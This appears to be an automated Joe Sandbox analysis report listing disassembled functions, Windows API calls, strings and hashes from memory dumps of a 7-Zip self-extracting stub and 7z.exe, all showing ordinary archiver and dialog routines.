Function 004030CC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

Part of subcall function 00402DCE: MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,00000000,00000000,00403130,?,?,00000000,00000000,00000000), ref: 00402E00

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction ID: 048da0cb2dc02d8916bdec43440a285b354a653a086483b302c5f7621bf0cf9b
Opcode Fuzzy Hash: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction Fuzzy Hash: AD31F672804109AACB14EFA6DC829EF77BCEF04315B10443FF856B61E1EB3C9A45C668

Function 004048A3 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00407468,00000000,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048C6
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048E3
wsprintfW.USER32 ref: 00404919
GetFileAttributesW.KERNEL32(?), ref: 00404934

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction ID: 9a23dce76bf07ec62893e724c666a97d340ece38cae1712c454cfb59cab589fa
Opcode Fuzzy Hash: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction Fuzzy Hash: 5911E772200204BFD7119F55C845BAEB7B9FF84314F10842EF905D72E1DB79A9118B98

Function 0041271D Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00100EC3,0041C670), ref: 00412748
??2@YAPAXI@Z.MSVCRT(00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 00412770
memcpy.MSVCRT(00000000,005FC5D0,00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?), ref: 00412799
??3@YAXPAX@Z.MSVCRT(005FC5D0,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 004127A4

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction ID: 510514d82056c6b4fcd5a552fda661d2aed45214d42cdecf77f9d3eca8f48bd7
Opcode Fuzzy Hash: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction Fuzzy Hash: 0F110876200300ABCB289F16DAC0C9BF7EAAB84350720883FF569D7680C7B9ECD54758

Function 004091A7 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
GetDlgItem.USER32(?,000004B7), ref: 00409222
SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 3043669009-0
Opcode ID: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction ID: 3591c2bc138905537439c0aaf451187a84050bff03ea83390e11aea9625765cd
Opcode Fuzzy Hash: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction Fuzzy Hash: B911C271F40314ABDB10EBA99D09F9A77BCAB84B04F00446FB241E32D1CAB899008B59

Function 004077FE Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 00407825
GetSystemMetrics.USER32(00000031), ref: 0040784B
CreateFontIndirectW.GDI32(?), ref: 0040785A
DeleteObject.GDI32(00000000), ref: 00407889

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction ID: b25c457bbae17dd5d72c6f892d860256fe40de5a44a36179f6bad400e189aa1a
Opcode Fuzzy Hash: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction Fuzzy Hash: E4116376A00205AFDB149F54DC88BEAB7B8EB04304F0480AAED05A7391DB74AE40CB55

Function 00408D01 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 00408D3B
GetClientRect.USER32(?,?), ref: 00408D4D
PtInRect.USER32(?,?,?), ref: 00408D5C

Part of subcall function 00408763: KillTimer.USER32(?,00000001,?,00408D71), ref: 00408771

CallNextHookEx.USER32(?,?,?), ref: 00408D7E

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction ID: 5f24f27530ec3351cfe61c109b9f8109a002e7470ac3ae9da68eaa6329551e7b
Opcode Fuzzy Hash: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction Fuzzy Hash: 23016D35101109EFDF109F55ED48EEA7BA6FF14384B18C53EF845A26A0EB35E850DB19

Function 00404412 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?,?,?,0041A834,0041A83C), ref: 0040445E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041A834,0041A83C), ref: 00404466
SetWindowTextW.USER32(?,?), ref: 00404473
??3@YAXPAX@Z.MSVCRT(?), ref: 0040447E

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction ID: 3481eafec51d8512e57604988f767cc9cc3c1553ab35ab675722db7162792d52
Opcode Fuzzy Hash: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction Fuzzy Hash: 31F0FF76D04108BACF05BBA2DD46CDDBB7CEF18348F1040AAF50171091EA799B958B94

Function 00408079 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00408094
CreateFontIndirectW.GDI32(?), ref: 004080AA
GetDlgItem.USER32(?,000004B5), ref: 004080BE
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004080CA

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction ID: 956e92ef37cd049c126208e7095bac86b33f3b6997e338fc061b002d9265881b
Opcode Fuzzy Hash: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction Fuzzy Hash: 00F0BE71501708AFDB215BA4DD09FCBBBACAB88B01F048039FA41E22D0DBB4E4148A29

Function 0040B980 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00420B90), ref: 0040B989
LeaveCriticalSection.KERNEL32(00420B90), ref: 0040B9CC

Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B866
Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
Part of subcall function 0040B7A0: memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
Part of subcall function 0040B7A0: memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Part of subcall function 0040AEE0: memset.MSVCRT ref: 0040AF4D

Part of subcall function 0040B910: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B937

Strings

$A, xrefs: 0040B99D
$A, xrefs: 0040B9B5

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@$??3@CriticalSectionmemmove$EnterLeavememset
String ID: $A$$A
API String ID: 2633840989-464203494
Opcode ID: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction ID: 6d2d4446e2632278ac84d03e88f46c99b33c2e18b0b42c59bf91942fc9617b32
Opcode Fuzzy Hash: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction Fuzzy Hash: B8E0927431112516892437566C15AFE1B9ACEC5348B00043FF701732C3CFAD299642EE

Function 00402083 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00402088
GetWindowRect.USER32(?,?), ref: 004020A1
ScreenToClient.USER32(00000000,?), ref: 004020AF
ScreenToClient.USER32(00000000,?), ref: 004020B6

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction ID: 302afeb31cedc52bf97cb9c1a24104c68e6dc93ac8c9cb6ce1a7b953da425052
Opcode Fuzzy Hash: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction Fuzzy Hash: 3DE086721063216FD7119BB5BC88C8B7FADEFC5A26700447AF64592321C7729C20DA72

Function 004052DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004083EA: GetSystemMetrics.USER32(00000010), ref: 0040842C
Part of subcall function 004083EA: GetSystemMetrics.USER32(00000011), ref: 0040843A

wsprintfW.USER32 ref: 00405364
??3@YAXPAX@Z.MSVCRT(?,00000011,?,00000000,0041B828,?), ref: 004053A1

Strings

%X - %03X - %03X - %03X - %03X, xrefs: 0040535E

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: MetricsSystem$??3@wsprintf
String ID: %X - %03X - %03X - %03X - %03X
API String ID: 1174869416-1993364030
Opcode ID: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction ID: 65adf6dcda70838bb3b21e6056e5f535fe41afcbb6b0b1b43c55218142ba6697
Opcode Fuzzy Hash: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction Fuzzy Hash: 7D117231A40218AADB51FB95ED46FDD7338FF14B08F50417AB911361D2DFB86A45CB88

Function 00408645 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040867A
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004086A2

Strings

(%d%s), xrefs: 00408674

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@wsprintf
String ID: (%d%s)
API String ID: 3815514257-2087557067
Opcode ID: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction ID: b8a3091fb0a8786d5856ec0415992ba747c3c410e3350e73f686e4d9c7ab3f81
Opcode Fuzzy Hash: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction Fuzzy Hash: E3F06271900218ABCB21B756DD06ECA777CAF00304F1041BBA552B15E2DA75AA54CB98

Function 004033E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(?), ref: 004033F1
GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

Strings

j4@, xrefs: 0040340A

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: TextWindow$Length
String ID: j4@
API String ID: 1006428111-2012685699
Opcode ID: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction ID: 3817dcc93708ae326cc9214659a9c4e7fc7be87bb8e982cfdb796d017d3acd91
Opcode Fuzzy Hash: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction Fuzzy Hash: 89E09239200212AFC2229F19D84486FBBFAEFC4310B00847AF841D33E1CB39DC118B95

Function 0040474E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 0040475C

Strings

Could not allocate memory, xrefs: 00404755
7-Zip SFX, xrefs: 00404750

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction ID: eff6b3f0ce1e45bdfd51bc9acb40b22f926f37b9a8d4657fa527a9dafaf84f3f
Opcode Fuzzy Hash: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction Fuzzy Hash: 5AB012703C130022E21113200C07FC416408B08F13F10C552B108A80D3CBD900D0205D

Analysis Process: 7z.exePID: 6548, Parent PID: 4288COMMON

Executed Functions

Function 00068817 Relevance: 130.3, APIs: 62, Strings: 12, Instructions: 780COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00068826
GetStdHandle.KERNEL32 ref: 0006887D
GetConsoleScreenBufferInfo.KERNELBASE ref: 0006888E
_CxxThrowException.MSVCRT ref: 000689BD

Strings

Codecs:, xrefs: 0006903E
Libs:, xrefs: 00068C5B
Hashers:, xrefs: 000692B6
, xrefs: 00068FD6
Formats:, xrefs: 00068CC7
KSNFMGOPBELH, xrefs: 00068CDC, 00068D4A
7-Zip cannot find the code that works with archives., xrefs: 00068A54
|| , xrefs: 00068F0B
Can't load module: , xrefs: 00068A04
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 0006881F
offset=, xrefs: 00068ECF
Unsupported archive type, xrefs: 00068AAD, 00068BB8

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: BufferConsoleExceptionHandleInfoScreenThrowfputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$ $ || $7-Zip cannot find the code that works with archives.$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$Unsupported archive type$offset=
API String ID: 3442115484-272389550
Opcode ID: 333ffd121fdcf203ab2e1200e73cc7bcd87e924206da6f59f5088d2f4f234a71
Instruction ID: 240a455987219feb1a282c16bbefa699d628d2923a4fe6f88ab7ce145350bee7
Opcode Fuzzy Hash: 333ffd121fdcf203ab2e1200e73cc7bcd87e924206da6f59f5088d2f4f234a71
Instruction Fuzzy Hash: B272AF72208A9196DB74EF25E4903EE73A2F789BC0F409122DB9A47B59DF3CC559CB40

Function 000424C0 Relevance: 102.2, APIs: 81, Instructions: 981COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 000426E4
free.MSVCRT ref: 000426EF
free.MSVCRT ref: 0004274F
free.MSVCRT ref: 0004275A
free.MSVCRT ref: 000427FF
free.MSVCRT ref: 00042807
free.MSVCRT ref: 00042818
free.MSVCRT ref: 00042826
free.MSVCRT ref: 00042831
free.MSVCRT ref: 00042869
free.MSVCRT ref: 00042871
free.MSVCRT ref: 00042882
free.MSVCRT ref: 00042951
free.MSVCRT ref: 0004295C
free.MSVCRT ref: 00042A36
free.MSVCRT ref: 00042A3E
free.MSVCRT ref: 00042A52
free.MSVCRT ref: 00042A6C
free.MSVCRT ref: 00042A77
free.MSVCRT ref: 00042B8F
free.MSVCRT ref: 00042B97
free.MSVCRT ref: 00042BA8
free.MSVCRT ref: 00042BB6
free.MSVCRT ref: 00042BC1
free.MSVCRT ref: 00042C12
free.MSVCRT ref: 00042C1D
free.MSVCRT ref: 00042C30
free.MSVCRT ref: 00042C3B
free.MSVCRT ref: 00042C4E
free.MSVCRT ref: 00042C59
free.MSVCRT ref: 00042C6C
free.MSVCRT ref: 00042C77
free.MSVCRT ref: 00042CA7
free.MSVCRT ref: 00042CAF
free.MSVCRT ref: 00042CBB
free.MSVCRT ref: 00042CC9
free.MSVCRT ref: 00042CD4
free.MSVCRT ref: 00042D10
free.MSVCRT ref: 00042D18
free.MSVCRT ref: 00042D29
free.MSVCRT ref: 00042D37
free.MSVCRT ref: 00042D42
free.MSVCRT ref: 00042E6E
free.MSVCRT ref: 00042E79
free.MSVCRT ref: 00042EA6
free.MSVCRT ref: 00042EB1
free.MSVCRT ref: 00042F03
free.MSVCRT ref: 00042F0E
free.MSVCRT ref: 00042F97
free.MSVCRT ref: 00042F9F
free.MSVCRT ref: 00042FAD
free.MSVCRT ref: 00042FC2
free.MSVCRT ref: 00042FCD
free.MSVCRT ref: 0004300C
free.MSVCRT ref: 00043017
free.MSVCRT ref: 00043027
free.MSVCRT ref: 00043032
free.MSVCRT ref: 00043042
free.MSVCRT ref: 0004304D
free.MSVCRT ref: 0004305E
free.MSVCRT ref: 000431EB
free.MSVCRT ref: 000431F6
free.MSVCRT ref: 0004321C
free.MSVCRT ref: 00043227

Part of subcall function 00022130: malloc.MSVCRT ref: 00022134
Part of subcall function 00022130: _CxxThrowException.MSVCRT ref: 0002214F

free.MSVCRT ref: 0004325A
